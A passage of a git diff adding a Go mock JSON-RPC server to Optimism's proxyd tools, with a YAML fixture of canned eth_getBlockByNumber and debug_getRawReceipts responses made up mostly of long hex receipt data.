batched := proxyd.IsBatch(body) + var requests []map[string]interface{} + if batched { + err = json.Unmarshal(body, &requests) + if err != nil { + fmt.Printf("error reading request: %v\n", err) + } + } else { + var j map[string]interface{} + err = json.Unmarshal(body, &j) + if err != nil { + fmt.Printf("error reading request: %v\n", err) + } + requests = append(requests, j) + } + + var responses []string + for _, r := range requests { + method := r["method"] + block := "" + if method == "eth_getBlockByNumber" || method == "debug_getRawReceipts" { + block = (r["params"].([]interface{})[0]).(string) + } + + var selectedResponse string + for _, r := range template { + if r.Method == method && r.Block == block { + selectedResponse = r.Response + } + } + if selectedResponse != "" { + var rpcRes proxyd.RPCRes + err = json.Unmarshal([]byte(selectedResponse), &rpcRes) + if err != nil { + panic(err) + } + idJson, _ := json.Marshal(r["id"]) + rpcRes.ID = idJson + res, _ := json.Marshal(rpcRes) + responses = append(responses, string(res)) + } + } + + resBody := "" + if batched { + resBody = "[" + strings.Join(responses, ",") + "]" + } else if len(responses) > 0 { + resBody = responses[0] + } + + _, err = fmt.Fprint(w, resBody) + if err != nil { + fmt.Printf("error writing response: %v\n", err) + } +} + +func (mh *MockedHandler) LoadFromFile(file string) []*MethodTemplate { + contents, err := os.ReadFile(file) + if err != nil { + fmt.Printf("error reading MockedResponsesFile: %v\n", err) + } + var template []*MethodTemplate + err = yaml.Unmarshal(contents, &template) + if err != nil { + fmt.Printf("error reading MockedResponsesFile: %v\n", err) + } + return template +} + +func (mh *MockedHandler) AddOverride(template *MethodTemplate) { + mh.Overrides = append(mh.Overrides, template) +} + +func (mh *MockedHandler) ResetOverrides() { + mh.Overrides = make([]*MethodTemplate, 0) +} diff --git a/go/proxyd/tools/mockserver/main.go b/go/proxyd/tools/mockserver/main.go new file mode 100644 index 0000000000..a58fc06325 --- /dev/null +++ b/go/proxyd/tools/mockserver/main.go @@ -0,0 +1,30 @@ +package main + +import ( + "fmt" + "os" + "path" + "strconv" + + "github.com/ethereum-optimism/optimism/proxyd/tools/mockserver/handler" +) + +func main() { + if len(os.Args) < 3 { + fmt.Printf("simply mock a response based on an external text MockedResponsesFile\n") + fmt.Printf("usage: mockserver \n") + os.Exit(1) + } + port, _ := strconv.ParseInt(os.Args[1], 10, 32) + dir, _ := os.Getwd() + + h := handler.MockedHandler{ + Autoload: true, + AutoloadFile: path.Join(dir, os.Args[2]), + } + + err := h.Serve(int(port)) + if err != nil { + fmt.Printf("error starting mockserver: %v\n", err) + } +} diff --git a/go/proxyd/tools/mockserver/node1.yml b/go/proxyd/tools/mockserver/node1.yml new file mode 100644 index 0000000000..313c65349f --- /dev/null +++ b/go/proxyd/tools/mockserver/node1.yml @@ -0,0 +1,52 @@ +- method: eth_getBlockByNumber + block: latest + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash2", + "number": "0x2" + } + } +- method: eth_getBlockByNumber + block: 0x1 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash1", + "number": "0x1" + } + } +- method: eth_getBlockByNumber + block: 0x2 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash2", + "number": "0x2" + } + } +- method: eth_getBlockByNumber + block: 0x3 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash34", + "number": "0x3" + } + } +- method: debug_getRawReceipts + block: 0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560ff + response: > + {"jsonrpc":"2.0","id":1,"result":[]} +- method: debug_getRawReceipts + block: 0x88420081ab9c6d50dc57af36b541c6b8a7b3e9c0d837b0414512c4c5883560bb + response: > + {"jsonrpc":"2.0","id":1,"result":["0x02f902c10183037ec5b9010000000000000000000000000200000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000400000000000000000008000000000000000000000000000000000000020000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000000000000000000000000000000000000200000000000000000000000000000000f901b6f8d994297a60578fd0e13076bf06cfeb2bbcd74f2680d2e1a0e5c486bee358a5fff5e4d70dc5fdaaf14806df125ffde843a8c40db608264812b8a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000282bde1ac0c0000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000016573937382e393939393939393939393939395334393600000000000000000000f8d994297a60578fd0e13076bf06cfeb2bbcd74f2680d2e1a01309ab74031e37b46ee8ce9ff667a17a5c69a500a05d167e4c89ad8b0bc40bf9b8a0000000000000000000000000cd28ab95ae80b31255b2258a116cd2c1a371e0f3000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000652d2a700000000000000000000000000000000000000000000000000000000000000016573937382e393939393939393939393939395334393600000000000000000000","0x02f9039f01830645cdb9010000000020000000000000001000000000000000008004000000000000004000000000000000000002000000000000000000000000000000000000000000000000000000a00000000000000000000000200000000000000000000000000000000000000000000000400000000000000000000000000000000000000008000000000000000000004000400800000020000000000000000000000002000000000000000000000000000000200000000000040000000000000000000000001000000100100200000002000000000100000000010000020000000000000000000000000010000000000000000000000000000000000000000000000000000008040000f90294f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a02ac69ee804d9a7a0984249f508dfab7cb2534b465b6ce1580f99a38ba9c5e631a0000000000000000000000000f08f78880122a9ee99f4f68dcab02177aeb08160a0000000000000000000000000f08f78880122a9ee99f4f68dcab02177aeb08160b8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a031b2166ff604fc5672ea5df08a78081d2bc6d746cadce880747f3643d819e83da0000000000000000000000000f08f78880122a9ee99f4f68dcab02177aeb08160a0000000000000000000000000f08f78880122a9ee99f4f68dcab02177aeb08160b8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f85a947ad11bb9216bc9dc4cbd488d7618cbfd433d1e75f842a04641df4a962071e12719d8c8c8e5ac7fc4d97b927346a3d7a335b1f7517e133ca0e4bac2a8774c733b2c6da6ddf718b53614f36417dfaac90b23d2747d82d2251580f87a947fd7eea37c53abf356cc80e71144d62cd8af27d3f842a0db5c7652857aa163daadd670e116628fb42e869d8ac4251ef8971d9e5727df1ba04bd009c947444055f7e29f16c227e544387b9de8b571888d37f50becee99d76ea00000000000000000000000000000000000000000000000000000000000000001","0x02f90327018307aa96b9010000000000000000000000000028000000000000000000000000000000400000000000000000000000000000000000000000000000020000000000000000000000000000100000000000000000000000000000000000000000000000000000004000001000000000000000000000000000000000004000000000000000000000000000000000008000000000000000000000000000000000000000000000008000000000021000000000000000000000002040000000000000000000000000000000000000000000000000000000000000008000000000000000001000000000000000000000000000010000000000000000000000000000000000000000004000f9021cf9013c94af4159a80b6cc41ed517db1c453d1ef5c2e4db72f863a05e3c1311ea442664e8b1611bfabef659120ea7a0a2cfc0667700bebc69cbffe1a000000000000000000000000000000000000000000000000000000000000b574ea0eef6d16b5a91e0c5aa2df75fbb865f2be353c5052294a97ee3522d6b1ed674bfb8c00000000000000000000000006bebc4925716945d46f0ec336d5c2564f419682c000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000b47d4ece2bd3d6457b9abcde547e332832a6881b5e8697f86a16fd1e3006843062eda71ce901c9f888b5abb4736b9ca9bb36748e000000000000000000000000000000000000000000000000000000000000000b00000000000000000000000000000000000000000000000000000000652d2a70f8db946bebc4925716945d46f0ec336d5c2564f419682cf842a0ff64905f73a67fb594e0f940a8075a860db489ad991e032f48c81123eb52d60ba000000000000000000000000000000000000000000000000000000000000b574eb88000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000034a36c4ece2bd3d6457b9abcde547e332832a6770a0000000000000000000000000000000000000000000000000095094d8053e000000000000000000000000000","0x02f901a70183083234b9010000000000000000040000000000000000000000020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000040000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000800000000400000001000000000000000000000000000000000000000000000f89df89b94326c977e6efc84e512bb9c30f76e30c160ed06fbf863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000004281ecf07378ee595c564a59048801330f3084eea0000000000000000000000000cd5d6cadfd3b4c77415859a5d6999f2eea1da5d4a0000000000000000000000000000000000000000000000001158e460913d00000","0x02f9040a0183094189b9010000000000000000000000100000000000000000000000000000000000000000000002000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000008008000000000000000000000000000f902fff902fc94be72771b59f99adc9c07a43295fcada66cb865b9f842a035ee444266c4bfac0b9704ee4fc68807fe38d1e96b299a097442f8169f48d57da00000000000000000000000000000000000000000000000000000000000000027b902a000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000028000000000000000000000000000000000000000000000000000000000652d2a700000000000000000000000000000000000000000000000000000000000000027000000000000000000000000bc365d43d4761fd03738ebefa5ff3d7ccf8256a70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000038d7ea4c6800000000000000000000000000000000000000000000000000000000000652e78100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000183635326432363837663661356263626235613934643639370000000000000000000000000000000000000000000000000000000000000000000000000000001836353235626563643837396139613163653935363364643800000000000000000000000000000000000000000000000000000000000000000000000000000000","0x02f9039f01830c0891b9010000000020000000000000001000000000000000008004000000000000004000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000004000000200000000000000000000000000000000000000000000000400000000040000800000000000000000000000008000000000000000040004000400800000020200000000000000000000002000000000000000200000000000000200000000000040000800000000000000000000000000100000000000002000000000100000000000000000000000000000200000000000010000000000000000000000000000000000000000000000000000108000000f90294f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a02ac69ee804d9a7a0984249f508dfab7cb2534b465b6ce1580f99a38ba9c5e631a0000000000000000000000000ffb08a46d802102de79b998be6fe0975e44cb212a0000000000000000000000000ffb08a46d802102de79b998be6fe0975e44cb212b8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a031b2166ff604fc5672ea5df08a78081d2bc6d746cadce880747f3643d819e83da0000000000000000000000000ffb08a46d802102de79b998be6fe0975e44cb212a0000000000000000000000000ffb08a46d802102de79b998be6fe0975e44cb212b8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f85a947ad11bb9216bc9dc4cbd488d7618cbfd433d1e75f842a04641df4a962071e12719d8c8c8e5ac7fc4d97b927346a3d7a335b1f7517e133ca0c48bab3c23e29b52ad3d5b5a41b22448c12d59d5f986b479fdcc485cae9e794a80f87a947fd7eea37c53abf356cc80e71144d62cd8af27d3f842a0db5c7652857aa163daadd670e116628fb42e869d8ac4251ef8971d9e5727df1ba0d6910807a825d1b186bc97aaa5ae83f44bc11533f05f3bd567dd916e5de20de1a00000000000000000000000000000000000000000000000000000000000000001","0x02f9024a01837e0c08b9010000000000800000000000000100000000000000000000000000000000000000000000000000004000000000000200000000000000000000000000000000001000000000000000000000000000000000000000000040000000000040000000000800000000000000000000000000000000000000000000000000000000000000000000000000400020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000f9013ff9013c94c25708eaf0329888c4db0fa5746647ecca92f257f863a09efce6407f8b9dc575789c1e4cc190f025c452249eb8f7913c49958c9a5535dea000000000000000000000000000000000000000000000000000000000652d2a70a0000000000000000000000000a02d09d454861a0ccd2e8518886cdcec37ecdd2cb8c00000000000000000000000000000000000000000000000000000000000000b220000000000000000000000000000000000000000000000000000000000000b220000000000000000000000000000000000000000000000000000000000000b22000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000066372656174650000000000000000000000000000000000000000000000000000","0x02f9039f018380d310b9010000000020000000000000001000000000000000008404000000000000004000000000000000000002000000000000000000000000000000000040000000000000000000000000000000000000000000200000000000000200000000000000000000000000000000400000000000000000000000000000000000000008000000000000000000004000400800000020000000001000000000000002400000000000000000000000000020200010000000040000000000000000000000000000000100000000400002000000000100000000000000000000000000000000000000000010000000000000000000000000000000000040000000000000000008000000f90294f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a02ac69ee804d9a7a0984249f508dfab7cb2534b465b6ce1580f99a38ba9c5e631a0000000000000000000000000cbee1403a6adee830dfd02d763341687d81482eba0000000000000000000000000cbee1403a6adee830dfd02d763341687d81482ebb8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f8dc944638ac6b5727a8b9586d3eba5b44be4b74ed41fcf863a031b2166ff604fc5672ea5df08a78081d2bc6d746cadce880747f3643d819e83da0000000000000000000000000cbee1403a6adee830dfd02d763341687d81482eba0000000000000000000000000cbee1403a6adee830dfd02d763341687d81482ebb8600000000000000000000000000000000000000000000000000032cdc63449c00000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000f85a947ad11bb9216bc9dc4cbd488d7618cbfd433d1e75f842a04641df4a962071e12719d8c8c8e5ac7fc4d97b927346a3d7a335b1f7517e133ca0f9cacd1bc3956dffcb1a7d556066528a92396aa2e7da07a02904b3bfd886661180f87a947fd7eea37c53abf356cc80e71144d62cd8af27d3f842a0db5c7652857aa163daadd670e116628fb42e869d8ac4251ef8971d9e5727df1ba00c4d6405faf20e9cb06cdcc5159705b5a4d42ee7ea60a15f20784e82a0b31786a00000000000000000000000000000000000000000000000000000000000000001","0x02f9010901838210d3b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f90c3f018388b358b9010000000000000000000000000000000000000040000000000200000000000004100000000002000000000000000000000000001000000000680000010000000009004020200000000008080008000800000000000000002000000000000000000040040000220000800000002080000800000000000000020000002090000000000000008400000000000000000000000000000000280000000200000000000040000000004000020000000000000000000000000000000000000000000000000000021002000008000000000000000000000000000800000000200100000820001005000000000000000000080000000000000000000000000040000000000000f90b34f89b948bd0e58032e5343c888eba4e72332176fffa7371f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000004ac853547fa1fe3f4690e452b904578f7d46a531a00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000016345785d8a0000f85894c9b7edc65488bdbb428526b03935090aef40ff03e1a0df21c415b78ed2552cc9971249e32a053abce6087a0ae0fbf3f78db5174a3493a0000000000000000000000000000000000000000000000000000098b591d3ac0ef8d9946f3a314c1279148e53f51af154817c3ef2c827b1e1a0b0c632f55f1e1b3b2c3d82f41ee4716bb4c00f0f5d84cdafc141581bb8757a4fb8a0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000022000100000000000000000000000000000000000000000000000000000000000493e0000000000000000000000000000000000000000000000000000000000000f8d99436ebea3941907c438ca8ca2b1065deef21ccdaede1a04e41ee13e03cd5e0446487b524fdc48af6acf26c074dacdbdfb6b574b42c8146b8a0000000000000000000000000000000000000000000000000000000000000277a0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000300000000000000000000000011f66d6864fcce84d5000e1e981dd586766339490000000000000000000000000000000000000000000000000000213ae829dcc5f9019a946f3a314c1279148e53f51af154817c3ef2c827b1e1a0e9bded5f24a4168e4f3bf44e00298c993b22376aad8c58c7dda9718a54cbea82b90160000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001140000000000000d54278911f66d6864fcce84d5000e1e981dd58676633949277ab92de63eb7d8a652bf80385906812f92d49c5139000000000000000000000000000000000000000000000000000000000000000700000000000000000000000000000000000000000000000000000000000000a07355534400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016345785d8a0000000000000000000000000000000000000000000000000000000000000000277a00000000000000000000000000000000000000000000000000000000000000144ac853547fa1fe3f4690e452b904578f7d46a531000000000000000000000000000000000000000000000000f9013d9411f66d6864fcce84d5000e1e981dd58676633949f884a0aae74fdfb502b568e3ca6f5aa448a255c90a2f24c4a6104d65ae45f097b37388a00000000000000000000000004ac853547fa1fe3f4690e452b904578f7d46a531a00000000000000000000000000000000000000000000000000000000000000007a0000000000000000000000000000000000000000000000000000000000000277ab8a000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000d540000000000000000000000000000000000000000000000000000000000000028b92de63eb7d8a652bf80385906812f92d49c513911f66d6864fcce84d5000e1e981dd58676633949000000000000000000000000000000000000000000000000f85894c9b7edc65488bdbb428526b03935090aef40ff03e1a0df21c415b78ed2552cc9971249e32a053abce6087a0ae0fbf3f78db5174a3493a00000000000000000000000000000000000000000000000000000381ece38c000f8d9946f3a314c1279148e53f51af154817c3ef2c827b1e1a0b0c632f55f1e1b3b2c3d82f41ee4716bb4c00f0f5d84cdafc141581bb8757a4fb8a0000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000022000100000000000000000000000000000000000000000000000000000000000493e0000000000000000000000000000000000000000000000000000000000000f8d99436ebea3941907c438ca8ca2b1065deef21ccdaede1a04e41ee13e03cd5e0446487b524fdc48af6acf26c074dacdbdfb6b574b42c8146b8a0000000000000000000000000000000000000000000000000000000000000279f0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000300000000000000000000000011f66d6864fcce84d5000e1e981dd586766339490000000000000000000000000000000000000000000000000000d027724dc000f9019a946f3a314c1279148e53f51af154817c3ef2c827b1e1a0e9bded5f24a4168e4f3bf44e00298c993b22376aad8c58c7dda9718a54cbea82b9016000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000114000000000000ac19278911f66d6864fcce84d5000e1e981dd58676633949279f4c11ccee50b70daa47c41849e45316d975b26102000000000000000000000000000000000000000000000000000000000000000700000000000000000000000000000000000000000000000000000000000000a07355534400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016345785d8a0000000000000000000000000000000000000000000000000000000000000000277a00000000000000000000000000000000000000000000000000000000000000144ac853547fa1fe3f4690e452b904578f7d46a531000000000000000000000000000000000000000000000000f9013d9411f66d6864fcce84d5000e1e981dd58676633949f884a0aae74fdfb502b568e3ca6f5aa448a255c90a2f24c4a6104d65ae45f097b37388a00000000000000000000000004ac853547fa1fe3f4690e452b904578f7d46a531a00000000000000000000000000000000000000000000000000000000000000007a0000000000000000000000000000000000000000000000000000000000000279fb8a00000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000ac1900000000000000000000000000000000000000000000000000000000000000284c11ccee50b70daa47c41849e45316d975b2610211f66d6864fcce84d5000e1e981dd58676633949000000000000000000000000000000000000000000000000f8bb94593be683204ff3501e6e4851956a2da310e393b6f842a0c1e18b2a3583b6bc0879a3f3f657c41adfb512076938208ec0b389d6d19874cba00000000000000000000000004ac853547fa1fe3f4690e452b904578f7d46a531b8607355534400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016345785d8a0000000000000000000000000000000000000000000000000000000000000000277a","0x02f901a7018389386bb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000010000000000000000000000000000020000000000000000000800000000000000000000000010000000000000004000000000000000000000000000000000000000000000000000000000000000000000100400000000000000000000000000000400000000000000000000000002000000000000000000000000000000000000000000000000000020000000000000000001000000000000000000000000000000000000000000000000f89df89b946199f797b524166122f1c6e6a78ff321389bb686f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000e43f4840dad185beef6daa8e7328b521e6a1a2a0a000000000000000000000000000000000000000000000d3c21bcecceda1000000","0x02f908fa01838cb5bdb90100000000004000000000040000000000000000000000005000000022000004000000000000000000000000000000000000000000000000000000000200002000000000000000080000000000080000000000000400004000000000004000000000000000000002010000000000000000000000000008000000000000100000000000000000000000000000000000001000000000000800000000000000200000000a0000000000000000000000100000000000000000080000000000000000000000000002000000000000000000000000200240000000800000000000000000000010000000040000000000000000000000000000000800000000000000000000f907eff9025d9400000000000000adc04c56bf30ac9d3c0aaf14dcf863a09d9af8e38d66c62e2c12f0225249fd9d721c54b83f48d9352c97c6cacdcb6f31a0000000000000000000000000f8de191520e37592aa84c62f650b067805cf1845a0000000000000000000000000ea2b4e7f02b859305093f9f4778a19d66ca176d5b901e0392f9c488837a9a75f4b5a139bed7757ebec5091b7e0b6f1ce70cbbbc75050e50000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c0490000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000d3664b5e72b46eaba722ab6f43c22dbf4018195400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011e1a300000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000002715ccea428f8c7694f7e78b2c89cb454c5f7294000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002c68af0bb140000000000000000000000000000f8de191520e37592aa84c62f650b067805cf1845f9025d9400000000000000adc04c56bf30ac9d3c0aaf14dcf863a09d9af8e38d66c62e2c12f0225249fd9d721c54b83f48d9352c97c6cacdcb6f31a00000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c049a0000000000000000000000000ea2b4e7f02b859305093f9f4778a19d66ca176d5b901e0ea28a862f3530833f82dc3d97407cf3a23fb593335f2b11f9ade8d62576f14fe0000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c04900000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000002715ccea428f8c7694f7e78b2c89cb454c5f7294000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000d3664b5e72b46eaba722ab6f43c22dbf4018195400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011e1a3000000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c049f8b99400000000000000adc04c56bf30ac9d3c0aaf14dce1a04b9f2d36e1b4c93de62cc077b00b1a91d84b6c31b4a14e012718dcca230689e7b88000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000002392f9c488837a9a75f4b5a139bed7757ebec5091b7e0b6f1ce70cbbbc75050e5ea28a862f3530833f82dc3d97407cf3a23fb593335f2b11f9ade8d62576f14fef89b94d3664b5e72b46eaba722ab6f43c22dbf40181954f863a08c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a0000000000000000000000000f8de191520e37592aa84c62f650b067805cf1845a000000000000000000000000000000000000000adc04c56bf30ac9d3c0aaf14dca00000000000000000000000000000000000000000000000000000000017d78400f89b94d3664b5e72b46eaba722ab6f43c22dbf40181954f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa0000000000000000000000000f8de191520e37592aa84c62f650b067805cf1845a00000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c049a00000000000000000000000000000000000000000000000000000000011e1a300f89b942715ccea428f8c7694f7e78b2c89cb454c5f7294f863a08c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a00000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c049a000000000000000000000000000000000000000adc04c56bf30ac9d3c0aaf14dca0000000000000000000000000000000000000000000000035a66e2580ecd70000f89b942715ccea428f8c7694f7e78b2c89cb454c5f7294f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000006f030b74371167d3b71cf3214e749b0d1814c049a0000000000000000000000000f8de191520e37592aa84c62f650b067805cf1845a000000000000000000000000000000000000000000000000002c68af0bb140000","0x02f9036101838ed0a2b9010000000000000000080000000000000000000000000040000000000008000000000000000000010000002000008000000000004000000000000000000000000000000000000000000001000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000010000000000000000048000000000000000000000000000000400000000000000000000000000000010000000000000000008000000000000000000000000000000000000000020002000000000000000000000000008000000000000000000000000000000000800000000000000000000000008000000000000000000000000000000000f90256f89b94eea85fdf0b05d1e0107a61b4b4db1f345854b952f863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa000000000000000000000000030f7fd07ce431d090f8ec59c3b635a4df42a00a1a0000000000000000000000000c1b71d1ad2de3fcbecda73c3273296dd45863c21a00000000000000000000000000000000000000000000000012f9aa3647286b60ff89b94fb7378d0997b0092be6bbf278ca9b8058c24752ff863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa0000000000000000000000000c1b71d1ad2de3fcbecda73c3273296dd45863c21a000000000000000000000000030f7fd07ce431d090f8ec59c3b635a4df42a00a1a0000000000000000000000000000000000000000000000001314fb37062980000f901199430f7fd07ce431d090f8ec59c3b635a4df42a00a1e1a03b841dc9ab51e3104bda4f61b41e4271192d22cd19da5ee6e292dc8e2744f713b8e00000000000000000000000009563fdb01bfbf3d6c548c2c64e446cb5900aca88000000000000000000000000c1b71d1ad2de3fcbecda73c3273296dd45863c2100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001314fb370629800000000000000000000000000000000000000000000000000012f9aa3647286b60fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc8","0x02f905c40183904383b9010000000000000000000008000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000010000000000000000000000000100000020002000000020000000800000000000000000000000200000000000000010000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000800000000000006000000000000800000100000000000000000000000000000000000000000000001000000000020000000000000000000800000000800000000000000000000004000000000000000f904b9f901ba94db249fda431b6385ad5e028f3aa31f3f51ebaef2e1a0cdb9fb741d82c65a081bb855b5e42174193549c537fd57a199609593827cff71b90180000000000000000000000000762f1119123806fc0aa4c58f61a9da096910200b0000000000000000000000000000000000000000000000000000000000004443000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000c7a6b4554482e676f65726c690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006d0c7a6b4554482e676f65726c693f616c656f316d397673377a68787632783232673963667a7a74616e6c72356d357a63617334726a616d7768796a6e74336636746737656772717266703676720080c6a47e8d030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f9019a94762f1119123806fc0aa4c58f61a9da096910200be1a08636abd6d0e464fe725a13346c7ac779b73561c705506044a2e6b2cdb1295ea5b901600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000532e91ca086964251519359271b99bd08427314f000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000000000000000000000c7a6b4554482e676f65726c690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003f616c656f316d397673377a68787632783232673963667a7a74616e6c72356d357a63617334726a616d7768796a6e743366367467376567727172667036767200f9015c94532e91ca086964251519359271b99bd08427314ff863a0fed162bc92844d868aeee15dc79af2ef4aac1ef57805f4eec865983f4d35efd9a00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000660aba6ca934d1537a95cc4454469a1026ed6252b8e00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000000002386f26fc10000000000000000000000000000000000000000000000000000000000000000003f616c656f316d397673377a68787632783232673963667a7a74616e6c72356d357a63617334726a616d7768796a6e743366367467376567727172667036767200","0x02f901a7018390a504b901000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000010000000400000000000000000000000020000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000002000000000000000000000000000000000000000000000000002000000000